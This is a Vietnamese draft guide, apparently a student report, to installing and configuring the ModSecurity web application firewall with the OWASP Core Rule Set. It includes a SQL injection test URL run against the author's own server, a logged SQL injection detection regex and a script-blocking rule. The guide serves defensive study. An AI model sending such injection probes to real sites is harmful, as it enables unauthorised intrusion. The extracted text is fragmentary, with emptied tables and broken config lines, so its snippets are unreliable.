Professional Documents
Culture Documents
DRAFT1
minhtamnw@gmail.com
MỤC LỤC
II. NHẬP ĐỀ
............................................................................................................................... 6
Parsing .................................................................................................................................... 7
Buffering ................................................................................................................................ 7
Logging .................................................................................................................................. 7
2
Variables .................................................................................................................................. 25
Operators ................................................................................................................................. 29
Actions ..................................................................................................................................... 31
Disruptive actions
................................................................................................................. 31
3
Blocking ............................................................................................................................... 37
Metadata ............................................................................................................................... 39
Trường hợp 1: Chống tấn công Replay attack thông qua cơ chế đánh token ngẫu nhiên. ...... 40
Trường hợp 2: Phát hiện các Session cookie không hợp lệ .....................................................
43
Trường hợp 3: Phòng chống phương pháp khai thác HTTP Reponse Spliting ....................... 48
Trường hợp 4: Phòng chống phương pháp khai thác Path Traversal - ...................................... 50
Trường hợp 5: Phát hiện nguy cơ lộ thông tin thẻ tín dụng .................................................... 52
DANH MỤC CÔNG CỤ HỖ TRỢ KIỂM TRA BẢO MẬT ỨNG DỤNG WEB ................. 64
DANH MỤC THAM KHẢO KHAI THÁC LỖ HỔNG BẢO MẬT ỨNG DỤNG WEB ..... 67
4
Số lượng SV 2
Ký tên
5
6
CHỨC NĂNG
ModSecurity hoạt động với chương trình web server (ví dụ: Apache) sẽ thực hiện các tác vụ
như sau:
Parsing
ModSecurity sẽ phân tách các dữ liệu luân chuyển qua hệ thống thành cấu trúc dữ liệu mà
ModSecurity định nghĩa sẵn. Cấu trúc này sẽ được chuyển qua cơ chế so trùng mẫu trong tập
rule để phân tích nguy cơ.
Buffering
Chức năng buffer (đệm) đóng vai trò khá quan trọng trong cơ chế hoạt động của ModSec.
Việc này có ý nghĩa khi các request gởi đến ứng dụng web thì phải thông qua ModSecurity
trước khi đến ứng dụng xử lý và những response cũng sẽ được phân tích trước khi trả về phía
client. Cơ chế này là cách duy nhất để có thể ngăn chặn các cuộc tấn công thời gian thực, các
dữ liệu mà ModSecurity nhận được và phân tích sẽ được lưu trữ trong RAM (bao gồm request
body và response data)
Logging
ModSecurity hỗ trợ ghi nhật ký các gói tin HTTP: request headers, request body, response
header, response body nhằm hỗ trợ người quản trị phân tích nguy cơ mà hệ thống đang gặp
phải để có thể ra quyết định kiểm soát.
7
Rule Engine
Các tập mẫu trong ModSecurity đóng vai trò quan trọng trong việc phát hiện các dạng tấn
công và thực hiện phòng chống. ModSecurity cùng phát triển với dự án OWASP phát triển các
mẫu để phân tích và phòng chống các tấn công hệ thống web (Tham khảo
https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project)
Real time Blacklist Lookups
-
Web based Malware Detection
-
HTTP Denial of Service Protections
Common Web Attacks Protection
Automation Detection
Integration with AV Scanning for File Uploads
Tracking Sensitive Data
Trojan Protection
Identification of Application Defects
Error Detection and Hiding
Tất cả các hoạt động trong ModSecurity hầu hết sẽ liên quan đến hai phần chính là: cấu hình
(configuration) và các tập luật (rule). Phần cấu hình chỉ định cách thức xử lý dữ liệu, trong khi
các rule sẽ quyết định thực hiện các hành vi (action) với dữ liệu đã được xử lý.
VARIABLES: xác định vị trí dữ liệu mà ModSecurity sẽ tìm kiếm mẫu. Trong ví dụ trên,
tham số ARGS nhằm chỉ định tìm kiếm mẫu trong tất cả các tham số trong request.
OPERATOR: chỉ định cách mà ModSecurity sẽ tìm kiếm mẫu. Các operator được dùng theo
dạng Regular expression nhằm tạo nên cơ chế phân tích linh động cho các rule.
ACTIONS: chỉ định hành động mà ModSecurity sẽ thực hiện khi có một mẫu được so trùng.
Trong ví dụ trên, phần action được viết log,deny,status:404 có nghĩa là: khi trùng mẫu <script>
trong gói tin thì thực hiện ghi log, deny gói tin bằng cách sử dụng mã trạng thái 404 (Not
found).
Trong ModSecurity mỗi phiên phân tích sẽ thực hiện lần lượt qua 5 bước (pha), tại mỗi bước
ModSecurity sẽ thực thi các rule tương ứng nhằm phát hiện và phòng chống các khai thác.
8
Đây là bước đầu tiên trong quá trình thực hiện phân tích gói tin. Mục đích của bước này
nhằm cho phép người viết rule tương tác với các request trước khi thực hiện các yêu cầu trong
phần HTTP body. Phần này khá quan trọng để phân tích các khai thác dựa vào HTTP method
cũng như dựa vào URL như SQL Injection, Reflect XSS, Local file include …
Bước 2 là quá trình kiểm tra chính trong quá trình client gởi request đến server, phần này sẽ
có hiệu quả khi người dùng cố sử dụng phương thức POST hoặc PUT để upload tập tin lên phía
server. Việc kiểm tra này bảo đảm dữ liệu đưa lên server là an toàn, tránh tình trạng upload mã
độc hoặc các dạng tấn công nhưng Stored XSS, Ajax Injection …
Những request đã được xử lý tại server sẽ được trả về cho ModSecurity kiểm tra trạng thái
trong phần respone header. Trước khi phần respone body được đọc thì ModSecurity sẽ dựa vào
tập rule để xác định có cần kiểm tra nội dung dữ liệu trong phần body hay không.
Ví dụ: mã trạng thái trả về là 404 (Not found) thì lúc này sẽ không cần kiểm tra nội dung gói
tin trả về.
9
Sau khi ModSecurity đã hoàn thành việc kiểm tra tại respone header thì nội dung trong phần
body sẽ được kiểm tra so trùng với mẫu trong tập lệnh. Việc này là khá hiệu quả để phát hiện
và phòng chống xâm nhập trong trường hợp bước 1 và 2 không phát hiện được tấn công.
Ví dụ: trong khai thác SQL injection, nếu hacker cố gắng sử dụng một số công nghệ evasion
thì việc phát hiện khi request là khó khăn. Khi khai thác thành công, ModSecurity sẽ phân tích
kết quả trong gói tin trả về để phát hiện nếu như câu truy vấn thành công.
Logging (5)
Việc ghi log sẽ ghi nhận các cảnh báo cũng như quy trình làm việc của ModSecurity.
Nhằm bảo đảm tính tính linh động trong việc phát hiện cũng như bảo vệ theo thời gian thực,
ModSecurity cần sử dụng một lượng tài nguyên CPU và RAM để bảo đảm hoạt động đúng
mục đích khi triển khai. Việc sử dụng tài nguyên phụ thuộc nhiều vào phần cấu hình và cách
triển khai trên từng hệ thống khác nhau. Dưới dây là một số điểm chính cần chú ý:
ModSecurity sẽ phân tích các cú pháp mà apache sẽ thực hiện, vì thế hệ thống của bạn sẽ có
thể tăng tiêu thụ tài nguyên CPU để thực hiện tác vụ.
Việc phân tích linh động trong một số trường hợp sẽ cần một lượng tài nguyên khá lớn để
phân tích. Ví dụ: XML, JSON, AJAX …
Việc quản lý dữ liệu upload từ phía client yêu cầu thêm tài nguyên I/O (như HDD), trong
một số trường hợp sẽ gây ra tình trạng trùng lặp dữ liệu trên hệ thống.
Dữ liệu trong request và resopone được lưu trữ đệm trong RAM để thực hiện các tác vụ chặn
theo thời gian thực.
Mỗi rule trong phần cấu hình sẽ sử dụng CPU (cho phần operartor) và RAM (dùng để
chuyển đổi dữ liệu đầu vào trước khi qua phiên phân tích)
Việc sử dụng các Regular expression sẽ tốn các tài nguyên nhiều hơn.
Các hoạt động I/O sẽ tăng cao cho việc ghi nhật ký trong quá trình hoạt động của
ModSecurity (full transaction loging).
Khi triển khai thực tế ModSecurity, bạn cần chú ý đến những điều trên để có thể xác định
được tài nguyên cần thiết để ModSecurity hoạt động ổn định. Trong trường hợp bạn không thể
thay đổi tài nguyên phần cứng, thì tôi khuyên bạn nên thường xuyên theo dõi trạng thái hoạt
động của hệ thống, rút ra những kinh nghiệm nhằm điều chỉnh hoặc giảm bớt chức năng,
ruleset phù hợp mà vẫn đảm bảo an toàn cho việc hoạt động. Nếu như tổ chức mà bạn đang
quản lý sử dụng một số công nghệ ảo hóa thì việc điều chỉnh tài nguyên sẽ thuận tiện hơn để
ModSecurity hoạt động.
Một cách khác để triển khai ModSecurity trên thực thế là dùng như một reverse proxy, trong
trường hợp này tài nguyên cho ModSecurity sẽ ổn định hơn so với hệ thống tích hợp (CPU,
RAM, I/O hoạt động ở trạng thái cao).
10
Năm 2010, cộng đồng OWASP xuất bản “Tài liệu hướng dẫn kiểm tra ứng dụng Web” phiên
bản 3 (OWASP Testing Guide v3: https://www.owasp.org/index.php/OWASP_Testing_Project).
Tài liệu liệt kê và phân nhóm các lỗ hổng bảo mật đã được biết đến trong ứng dụng web. Đồng
thời nội dung của tài liệu này mô tả các dự án được cộng đồng phát triển, bao gồm dự án WAF
ModSecurity.
A1 Injection
-
Nhóm này bao gồm các lỗ hổng như SQL injection, OS command
injection, LDAP injection…các lỗ hổng trong phân nhóm này cho
phép hacker truy cập hoặc chèn các dữ liệu giả vào hệ thống thông
qua các câu truy vấn dữ liệu.
A2 Cross Site
- XSS xuất hiện khi một ứng dụng web cho phép người dùng nhập
Scripting (XSS)
các dữ liệu vào mà không thông qua kiểm duyệt nội dung, những dữ
liệu này sẽ tương tác trực tiếp với những người dùng khác cùng sử
dụng website. Nguy cơ tạo ra là hacker có thể chèn các mã kịch bản
như HTML, Javascript… nhằm ăn cắp SessionCookie, thay đổi giao
diện (deface) hoặc chuyển hướng đến trang có mã độc khác.
A3 Broken
- Phân nhóm này liệt kê các nguy cơ về chức năng xác thực và quản
Authentication and lý phiên (session management) trong ứng dụng web. Thông thường
Session Management
các chức năng này không được triển khai tốt, cho phép hacker vượt
qua cơ chế kiểm duyệt người dùng.
A4 Insecure Direct
- Nguy cơ trong nhóm A4 thường được gặp trong trường hợp các
Object References lập trình viên sử dụng tham chiếu đến một tập tin, thư mục hoặc các
truy vấn database trong mã nguồn. Nếu các tham chiếu này không
được quản lý chặt chẽ, thì việc truy cập dữ liệu trái phép từ bên ngoài
là rất nguy hiểm.
A5 Cross Site
- Một cuộc tấn công CSRF yêu cầu một người dùng đã đăng nhập.
Request Forgery Tiếp theo, hacker sẽ chèn các mã kịch bản đã được dựng sẵn vào nội
(CSRF)
dung trang web nhằm thực thi một hành động bất hợp pháp với
quyền của người dùng đã đăng nhập.
A6 Security
- Các yêu cầu về bảo mật ứng dụng web cũng bao gồm việc cấu
Misconfiguration
hình và triển khai hệ thống, ứng dụng webserver (Apache, Nginx,
Tenginx…), cơ sở dữ liệu (MySQL, Oracle…), hệ điều hành (Linux,
Windows…). Tất cả công việc thiết lập môi trường cho ứng dụng
web hoạt động cần được lên kế hoạch theo dõi, kiểm tra, cập nhật
thường xuyên nhằm giảm thiểu nguy cơ hệ thống bị khai thác.
A7 Insecure
- Rất nhiều ứng dụng web không quan tâm đến việc bảo vệ dữ liệu
Cryptographic Storage nhạy cảm như thông tin thẻ tín dụng, SSN và các thông tin xác thực.
11
Việc hacker thu thập các dữ liệu nhạy cảm không được mã hóa
(encrypt) hoặc băm (hash) sẽ tạo ra mối nguy hiểm lớn cho những
website cho phép giao dịch thông qua thương mại điện tử.
A8 Failure to
- Hầu hết các ứng dụng thường thực hiện kiểm soát việc truy cập
Restrict URL Access thông qua URL (thông qua cơ chế Rewrite). Việc giới hạn quyền truy
cập vào các tập tin, thư mục nhạy cảm là cần thiết. Trong một số tình
huống, việc kiểm soát này không được quản lý đầu đủ tạo nguy cơ
xâm nhập trái phép vào ứng dụng (ví dụ: thư viện fckditor thường có
thể truy cập trực tiếp không cần xác thực).
A9 Insufficient
- Thông tin xác thực được truyền qua môi trường mạng truyền dẫn
Transport Layer không bảo mật sẽ tạo ra nguy cơ dữ liệu bị nghe lén. Việc này cũng
Protection
tương tự nếu như ứng dụng sử dụng các chứng chỉ số (certificate) với
các khóa yếu (weak key), thuật toán mã hóa yếu (weak algorithms)
hoặc chứng chỉ đã hết hạn sử dụng (expired).
A10 Unvalidated
- Các ứng dụng web thường chuyển hướng người dùng đến những
Redirects and Forwards trang web hoặc URL khác nhau. Hacker có thể lợi dụng cơ chế này
để chuyển hướng người dùng đến những website chứa phần mềm độc
hại hoặc trang đăng nhập giả.
Dự án OWASP ModSecurity Core Rule Set (CRS) sử dụng bản quyền ASLv2. Các tập rule
trong CRS được phân loại theo tiêu chuẩn OWASP để có thể bảo vệ máy chủ web theo từng
loại tấn công. Các rule này hoạt động tốt với phiên bản ModSecurity 2.5 trở lên.
Các vấn đề về triển khai ModSecurity CRS và phương pháp kiểm tra lỗ hổng sau khi triển
khai, bạn có thể tham khảo tại mục OWASP MODSECURITY CORE RULE SET và PHỤ
LỤC.
Gói cài đặt của bên thứ Tự động cài đặt Có thể là phiên bản
ba cũ
Cài đặt từ mã nguồn Bảo đảm là phiên Có thể gặp các vấn
12
Trong phần này, tôi sẽ hướng dẫn biên dịch từ mã nguồn. ModSecurity được tải tại trang
web www.Modsecurity.org.
Trước khi cài đặt ModSecurity trên nền tảng Linux, bạn cần cài đặt một số thư viện hỗ trợ
như sau: Apache Portable Runtime (APR), APR util, bật module mod_unique_id trong Apache,
-
# yum install openssl openssl devel pcre pcre devel libxml2 libxml2 devel curl devel pcre
- - - -
pcre devel
-
Tải phiên bản ModSecurity mới nhất tại trang chính của sản phẩm.
# wget http://www.Modsecurity.org/tarball/2.7.3/Modsecurity apache_2.7.3.tar.gz
-
# wget http://www.Modsecurity.org/tarball/2.7.3/Modsecurity apache_2.7.3.tar.gz.md5
-
# cd Modsecurity apache_2.7.3
-
# ./configure
# make
# make install
13
Sau khi cài đặt thành công, ta cần cấu hình LoadModule trong tập tin cấu hình của Apache
(mặc định trên CentOS là /etc/httpd/conf/httpd.conf)
Thêm dòng
LoadModule security2_module modules/mod_security2.so
Sau khi chỉnh tập tin httpd.conf, ta save lại và tiến hành kiểm tra tập tin cấu hình, bảo đảm
Apache hoạt động bình thường.
# httpd –t
Khởi động lại dịch vụ httpd trên hệ thống, đồng thời kiểm tra log file để bảo đảm dịch vụ
hoạt động tốt.
#tail –f /var/logs/httpd/error_log
14
Hình 3: Log thông báo trạng thái khởi động của Apache
Apache đã hoạt động bình thường với mod_security.
Trước khi thực hiện cấu hình ModSecurity, tôi sẽ tạo một danh sách các thư mục theo một
định dạng sẵn. Việc này giúp tôi quản lý dễ dàng các dữ liệu mà ModSecurity tạo ra, đồng thời
hỗ trợ trong việc bảo trì và cập nhật các rule mới cho ModSecurity.
Binaries: /opt/modsecurity/bin
Logs: /opt/modsecurity/var/log
it
a
oad
15
rules first.conf
- Tập lệnh thực hiện đầu tiên
rules.conf
Tập lệnh thực hiện chính
rules last.conf
- Tập lệnh thực hiện cuối cùng
Thực hiện tạo tập tin Modsecurity.conf trong thư mục /etc/httpd/conf.d với nội dung:
<IfModule mod_security2.c>
Include /opt/modsecurity/etc/main.conf
Include /opt/modsecurity/etc/rules.conf
</IfModule>
Tạo một tập tin cấu hình mẫu cho ModSecurity dựa vào tập tin đề nghị có sẵn, tại thư mục
chứa mã nguồn Modsecurity thự hiện lệnh sao chép như sau:
parameter separator
16
Request bao gồm hai thành phần: request header mặc định luôn được bật trong ModSecurity
và request body là tùy chọn để theo dõi. Trong trường hợp quản trị viên cần theo dõi nội dung
request body thì cầu cấu hình như sau:
# won't be able to see any POST parameters, which opens a large security
#
SecRequestBodyAccess On
Khi chức năng quản lý request body được sử dụng, thì ModSecurity không những sẽ theo
dõi nội dung gói tin mà còn sẽ lưu trữ nội dung trong bộ đệm (buffer) để phân tích trong trường
hợp dữ liệu gởi đến server cần nhiều hơn một gói tin HTTP. Nhằm tránh tình trạng gây quá tải
cho bộ nhớ RAM, quản trị viên cần điều chỉnh tham số giới hạn phù hợp. Có ba phần cấu hình
chỉ định hoạt động của buffer. Hai chỉ thị đầu tiên dùng để giới hạn của các request:
# Maximum request body size we will accept for buffering. If you support
# file uploads then the value given on the first line has to be as large
# as the largest file you are willing to accept. The second value refers
# to the size of data, with files excluded. You want to keep that value as
# low as practical.
#
SecRequestBodyLimit 13107200
SecRequestBodyNoFilesLimit 131072
Trong phiên bản trước 2.5, ModSecurity chỉ hỗ trợ SecRequestBodyLimit dùng để giới hạn
kích thước gói tin request đến server, bao gồm gói tin với POST method bình thường (ví dụ:
nhập username, password) và các gói tin dùng POST method để upload tập tin. Nhưng nhóm
phát triển ModSecurity thấy rằng: khi client dùng POST để upload tập tin, thì quá trình này
không sử dụng đến RAM để xử lý gói tin mà chỉ dùng I/O để truyền dữ liệu. Vì lý do này, trong
phiên bản sau 2.5 thì chức năng SecRequestBodyNoFilesLimit được thêm vào nhằm phân biệt
gói tin dùng để upload tập tin và gói tin dùng để nhập dữ liệu từ client.
Chỉ thị thứ ba trong phần này là SecRequestBodyInMemoryLimit, dùng điều khiển hoạt
động lưu trữ nội dung của gói tin vào bộ nhớ RAM. Tham số trong phần này chỉ có hiệu quả
với các gói tin có nhiệm vụ upload tập tin (multipart/form data) -
# parser reachers this limit, it will start using your hard disk for
#
SecRequestBodyInMemoryLimit 131072
17
Những gói tin có kích thước trong khoảng giới hạn tại mục SecRequestBodyInMemoryLimit
sẽ được lưu trữ trong RAM. Những gói tin có kích thước lớn hơn sẽ được chuyển vào vùng nhớ
swap trên ổ cứng để lưu trữ và phân tích.
Tương tự như gói tin request, các gói tin respone cũng bao gồm hai phần là header và body
(trong một số trường hợp gói tin respone không tồn tại nội dung trong phần body). Ta cấu hình
việc theo dõi nội dung trong repone tại mục SecResponseBodyAccess.
#
#
#SecResponseBodyAccess On
SecResponseBodyAccess Off
Tôi khuyến cáo nên tắt chức năng theo dõi respone nhằm giảm thiểu tài nguyên CPU và
RAM trên máy chủ. Hơn nữa, hầu hết các cuộc tấn công thường xuất hiện bên ngoài hệ thống,
nên việc theo dõi các repone đôi khi là không cần thiết.Trong trường hợp bạn cần theo dõi dữ
liệu phản hồi từ server, đơn giản là thiết lập thành giá trị thành On.
Trong dữ liệu mà phía server trả về phía client thường bao gồm nhiều thành phần và kiểu
khác nhau như: html, css, js, jpg, xml … Trong hầu hết các trường hợp, thì các dữ liệu tĩnh
(javascript, css …) không tạo ra nguy cơ bảo mật nào cho hệ thống, do vậy trong ModSecurity
ta cần chỉ định rõ kiểu dữ liệu cần theo dõi trong phần SecResponseBodyMimeType
# Which response MIME types do you want to inspect? You should adjust the
#
Filesystem Locations
Trong phần cấu hình này, ta cần chỉ định thư mục lưu trữ tạm thời nhằm phục vụ cho chức
năng theo dõi nội dung tập tin đăng tải lên phía server. Ngoài ra, thư mục này bao gồm việc lưu
trữ các session_cookie trong trường hợp phục vụ cho các rule chống khai thác thông qua
session_fixation hoặc session_hijacking.
# Filesystem configuration
-- ------------------------------------------------
# The location where ModSecurity stores temporary files (for example, when
# it needs to handle a file upload that is larger than the configured limit).
#
# This default setting is chosen due to all systems have /tmp available however,
# this is less than ideal. It is recommended that you specify a location that's private.
18
#
SecTmpDir /tmp/
# The location where ModSecurity will keep its persistent data. This default setting
# is chosen due to all systems have /tmp available however, it
#
SecDataDir /tmp/
File Uploads
Tại phần cấu hình quản lý upload tập tin, ta cần chỉ định thư mục chứa dữ liệu tạm thời trong
trường hợp có tập tin được upload. Thư mục này sẽ chứa tập tin tạm thời để ModSecurity kiểm
tra trước khi đưa quan Apache xử lý nội dung tiếp theo.
Khuyến cáo: việc sử dụng chức năng theo dõi tập tin upload có thể là nguyên nhân của việc
làm tăng dung lượng lưu trữ do có nhiều tập tin trùng lặp nội dung, đồng thời việc này sẽ làm
giảm hiệu suất của ModSecurity. Vì lý do này, bạn chỉ nên sử dụng chức năng này khi thật sự
cần thiết.
SecUploadDir /opt/modsecurity/var/upload/
SecUploadKeepFiles Off
Debug Log
Debug log sẽ hỗ trợ quản người trị trong việc theo dõi hoạt động của ModSecurity. Log level
trong phần này được khuyến cáo thiết lập ở mức 3, nhằm giới hạn việc tăng kích thước của log
mà vẫn bảo đảm cho việc theo dõi hệ thống.
# Debug log
SecDebugLog /opt/modsecurity/var/log/debug.log
SecDebugLogLevel 3
Audit Log
Audit log được sử dụng với mục đích ghi lại các phiên (transaction) làm việc. Audit log có 3
mức độ khác nhau để chỉ định cách thức hoạt động trong ModSecurity: SecAuditEngineare On
(ghi log tất cả phiên làm việc), Off (tắt audit log) và RelevantOnly (chỉ ghi log dựa vào mẫu mà
người dùng chỉ định).
# Thực hiện ghi log cho các yêu cầu có mã lỗi từ 500 599 (lỗi từ phía server).
-
RelevantOnly
SecAuditLogRelevantStatus ^5
SecAuditLogType Serial
SecAuditLog /opt/modsecurity/var/log/audit.log
19
SecAuditLogStorageDir /opt/modsecurity/var/audit/
Phần cấu hình rule mặc định cho ModSecurity là khá quan trọng, vì phần này sẽ quyết định
hệ thống mà bạn sẽ theo dõi có bị bỏ sót các tấn công trong trường hợp các tập rule không thể
phát hiện được. Tuy nhiên, ModSecurity khuyến cáo bạn nên cấu hình không nên chặn tất cả
các kết nối khi ModSecurity hoạt động.
SecDefaultAction phase:1,log,auditlog,pass"
"
Verifying Installation
Sau khi hoàn thành phần cấu hình, tôi sẽ kiểm tra hoạt động của ModSecurityuriy bằng một
rule đơn giản như sau:
#vi /opt/modsecurity/etc/rules.conf
SecRule REQUEST_URI d
"angerous""
id:'900721'phase:1,deny,status:406"
Rule trên hoạt động trong trường hợp khi một người dùng cố truy cập vào URI có chứa mẫu
dangerous, thì Modsecurity sẽ trả về mã lỗi 406.
Server: Apache
Connection: close
ModSecurity sau khi đã được cài đặt thành công cần được cấu hình các tập rule để có thể
hoạt động như một WAF. Tuy nhiên, việc tự viết và triển khai các rule là khá phức tạp và tốn
thời gian để tối ưu các chức năng trong rule.
Nhóm nghiên cứu Truswave SpiderLabs đã phát triển một nhóm các tập lệnh có tên là
OWASP ModSecurity CRS, bao gồm các nội dung gói tin của kiểu tấn công đã được biết đến.
Một tính năng mạnh mẽ của CRS là có thể bảo vệ những ứng dụng web phổ biến cũng như
những ứng dụng web tự phát triển riêng biệt.
Nhằm mục đích bảo vệ các ứng dụng web phổ biến, CRS phân loại nội dung các rule dựa
trên các phương pháp tấn công:
• HTTP Protection: phát hiện các nguy cơ dựa trên giao thức HTTP như Method (
GET HEAD POST …), phiên bản HTTP ( 1.0, 1.1)
• Real-time Blacklist Lookups: lọc các dãy IP nguy hiểm dựa vào một bên thứ 3.
20
• Web-based Malware Detection: xác định các mã độc trong nội dung trang web
bằng cách sử dụng Google Safe Browsign API.
• HTTP Denial of Service Protections: chống lại dạng tấn công từ chối dịch vụ
như HTTP Flooding và Slow HTTP DoS.
• Common Web Attacks Protection: phát hiện một số dạng tấn công phổ biếtn
vào ứng dụng web Automation Detection: phát hiện các bots, crawler, chương trình quét
(scanner) và các hoạt động thu thập thông tin.
• Integration with AV Scanning for File Uploads: phát hiện các mã độc,
webshell, 0days thông qua các chức năng upload tập tin.
• Tracking Sensitive Data: theo dõi các hoạt động và chặn lộ thông tin thẻ tín
dụng (trong trường hợp website có hoạt động thương mại điện tử).
• Identification of Application Defects: cảnh báo các lỗi trong quản lý cấy hình
ứng dụng webserver.
• Error Detection and Hiding: gởi các mã thông báo lỗi giả về phía người dùng.
Tiến hành tải gói tin SpiderLabs owasp modsecurity crs phiên bản mới nhất tại:
- - -
Repository
Archive
Archive
#cp modsecurity_crs_10_setup.conf.example
/opt/modsecurity/etc/modsecurity_crs_10_setup.conf
#mkdir p /opt/modsecurity/etc/crs/activated_rules
-
#vi /etc/httpd/conf.d/modsecurity.conf
<IfModule mod_security2.c>
Include /opt/modsecurity/etc/main.conf
21
#Include /opt/modsecurity/etc/rules.conf
Include /opt/modsecurity/etc/modsecurity_crs_10_setup.conf
Include /opt/modsecurity/etc/crs/activated_rules/*.conf
</IfModule>
#/etc/init.d/httpd restart
Ta thực hiện kiểm tra tấn công SQL injection với URI sau trong trường hợp trước và sau khi
triển khai OWASP CRS: http://www.modsec.com/?p=1%20order%20by%201,2,4
Hình 4: Tấn công SQLI trước khi triển khai OWASP CRS
22
Hình 5:Tấn công SQLI sau khi triển khai OWASP CRS
Cảnh báo ghi nhận tấn công:
[Tue Jun 04 18:40:39 2013] [error] [client 192.168.149.1] ModSecurity: Access denied with
code 403 (phase 2). Pattern match
"\\\\b(?i:having)\\\\b\\\\s+(\\\\d{1,10}|'[^=]{1,10}')\\\\s*?[=<>]|(?i:\\\\bexecute(\\\\s{1,5}[\\\\w\\\
\.$]{1,5}\\\\s{0,3})?\\\\()|\\\\bhaving\\\\b ?(?:\\\\d{1,10}|[\\\\'\\"][^=]{1,10}[\\\\'\\"])
?[=<>]+|(?i:\\\\bcreate\\\\s+?table.{0,20}?\\\\()|(?i:\\\\blike\\\\W*?char\\\\W*?\\\\()|(?i:(?:(select(
.* ..." at ARGS:p. [file
"/opt/modsecurity/etc/crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf"]
[line "130"] [id "959070"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: order
by found within ARGS:p: 1 order by 1,2,4"] [severity "CRITICAL"] [ver
"OWASP_CRS/2.2.7"] [maturity "9"] [accuracy "8"] [tag
"OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC 19"] [tag -
Modsecurity định nghĩa 9 loại chỉ thị để người dùng có thể triển khai các tính năng lọc linh
động cho hệ thống web.
Directive Description
SecAction Performs an unconditional action. This directive is
essentially a rule that always matches.
23
regular expression.
SecRuleUpdateActionB Updates the action list of the rule with the given ID.
yId
SecRuleUpdateTargetB Updates the target list of the rule with the given ID.
yId
Trong một rule ModSecurity có 4 thành phần, trong đó hai thành phần cuối của cú pháp là
tùy chọn. Nếu trong một rule mà bạn định nghĩa không sử dụng 2 thành phần
TRANSFORMATION_FUNCTIONS và ACTIONS thì ModSecurity sẽ dùng các giá trị mặc
định được thiết lập trong SecDefaultAction.
Biến (Variables)
Trong ModSecurity, biến được sử dụng cho việc trích xuất (etract) các thành phần khác nhau
của gói tin HTTP. được Bạn cần chú ý rằng các dữ liệu tương tác trong quá trình hoạt động của
ModSecurity là dữ liệu thô (raw bytes of data) bao gồm các ký tự đặc biệt. Mặc dù ứng dụng
web mà bạn xây dựng chỉ tương tác với các dữ liệu dạng văn bản (text), nhưng bạn không thể
chắc chắn được chuyện gì đang xảy ra nếu như các đối thủ sử dụng những cách để vượt qua các
kiểm soát logic.
Trong phiên bản hiện tại, ModSecurity đã hỗ trợ 77 loại biến khác nhau để tăng tính linh
động chống lại các kiểu khai thác nâng cao.
Operators
Tại mục này, ModSecurity sẽ xác định các thức mà một biến được xử lý. Các regular
expresstion được sử dụng phổ biến, tuy nhiên ModSecurity định nghĩa sẵn các operator nhằm
hỗ trợ bạn có thể tự xây dựng một rule cho mục đích cá nhân.
Transformation_functions
Chức năng này cho phép chuyển đổi dữ liệu đầu vào trước khi đưa qua cơ chế kiểm tra
(chuyển chữ hoa thành chữ thường, decode base64 …)
Actions
Chỉ rõ hành động sẽ thực hiện khi một rule đã được so trùng mẫu.
24
Variables
Có 77 loại biến trong phiên bản ModSecurity hiện tại và chúng được phân loại như sau:
Scalar variables: Chứa một phần thông tin dữ liệu, có thể là chuỗi hoặc số. Ví dụ,
REMOTE_ADDR luôn chứa địa chỉ IP của người dùng,
Read-only collections: Nhóm các biến không thể thay đổi trong quá trình thực hiện tương
tác giữa ModSecurity và Apache.
Read/write collections: Nhóm này được sử dụng trong trường hợp bạn cần triển khai các
rule có sự thay đổi trong dữ liệu đầu vào.
Special collections: Nhóm các biến đặc biệt được dùng trong việc trích xuất dữ liệu đầu vào
dưới dạng XML.
Persistent collections: Khi các rule sử dụng các thành phân trong nhóm này, thì dữ liệu sẽ
được lưu trữ trong cơ sở dữ liệu nội bộ của ModSecurity. Trong các tác vụ như theo dõi IP,
phiên làm việc hoặc theo dõi người dùng đăng nhập thì việc lưu trữ sẽ được sử dụng.
Request variables
Các biến trong phân nhóm này chịu trách nhiệm trích xuất các giá trị trong HTTP request
header để đưa vào phần phân tích. Các trường giá trị ModSecurity hỗ trợ trong các biến được
thu thập từ các URI, method (GET HEAD POST PUT …), protocol information ( HTTP 1.1,
HTTP 1.0).
Bảng sau liệt kê các giá trị biến (Request variable) mà ModSecurity hỗ trợ:
Variable Description
25
ES
ES
Server variables
Các biến trong phân nhóm này dùng phân tích các thành phần do người dùng gởi đến máy
chủ, và một số khác liên quan đến dữ liệu trả về người dùng.
Bảng sau liệt kê các giá trị biến (server variable) mà ModSecurity hỗ trợ:
Variable Description
E
Response variables
Các biến trong phân nhóm này được dùng cho việc xác định các dữ liệu trả về người dùng.
Phần lớn các giá trị này được sử dụng trong pha thứ 3 Response headers (3). Một số thành
phần liên quan đến nội dung gói tin HTTP (body) thì sẽ được dùng trong pha thứ 4 Response
body (4).
Bảng sau liệt kê các giá trị biến (respone variable) mà ModSecurity hỗ trợ:
Variable Description
26
TH
S
Miscellaneouse variables
Bảng sau liệt kê các giá trị biến (miscellaneouse variable) mà ModSecurity hỗ trợ:
Variable Description
HIGHEST_SEVERITY Highest severity encountered
recent rule
Parsing flags
Variable Description
MULTIPART_BOUNDARY_QUOTED Multipart parsing error: quoted boundary
encountered
boundary
endings used
first boundary
last boundary
27
used
detected
boundary detected
body
Collections variables
Các biến trong nhóm này có thể chứa biến của các nhóm khác, nhằm phục vụ việc thu thập
dữ liệu để đưa qua cơ chế phân tích hành vi trong ModSecurity.
Variable Description
ENV Environment variables (read only collection, -
IP tion)
Time variables
Các biến về thời gian dùng để xác định thời gian khi một phiên làm việc trên ModSecurity
được thực hiện.
Variable Description
TIME Time (HH:MM:SS)
1251029017)
TIME_YEAR Year
Operators
Các toán tử kiểm tra trong ModSecurity có nhiệm vụ phân tích các biến đầu vào Variables để
ra quyết định. Hầu hết các rule sẽ sử dụng các regular expression cho việc phân tích, nhưng
trong một số trường hợp cụ thể thì các phân nhóm toán tử khác sẽ hữu ích hơn.
Ta xét trường hợp cần so sánh các giá trị là số (numberic) thì việc sử dụng Regular
expression là khá bất lợi cho việc tạo rule và tài nguyên khi thực thi so sánh rule. ModSecurity
hỗ trợ một nhóm phương thức so sánh khác nhau nhằm tăng hiệu năng cho phần kiểm tra.
Trong trường hợp này thì việc sử dụng các toán tử về số học sẽ hiệu quả hơn nhiều so với
regular expression.
• String–matching operators
• Numerical operators
• Validation operators
• Miscellaneous operators
String–matching operators
Các toán tử so trùng chuỗi được dùng phân tích các đầu dữ liệu vào từ các biến. Toán tử @rx
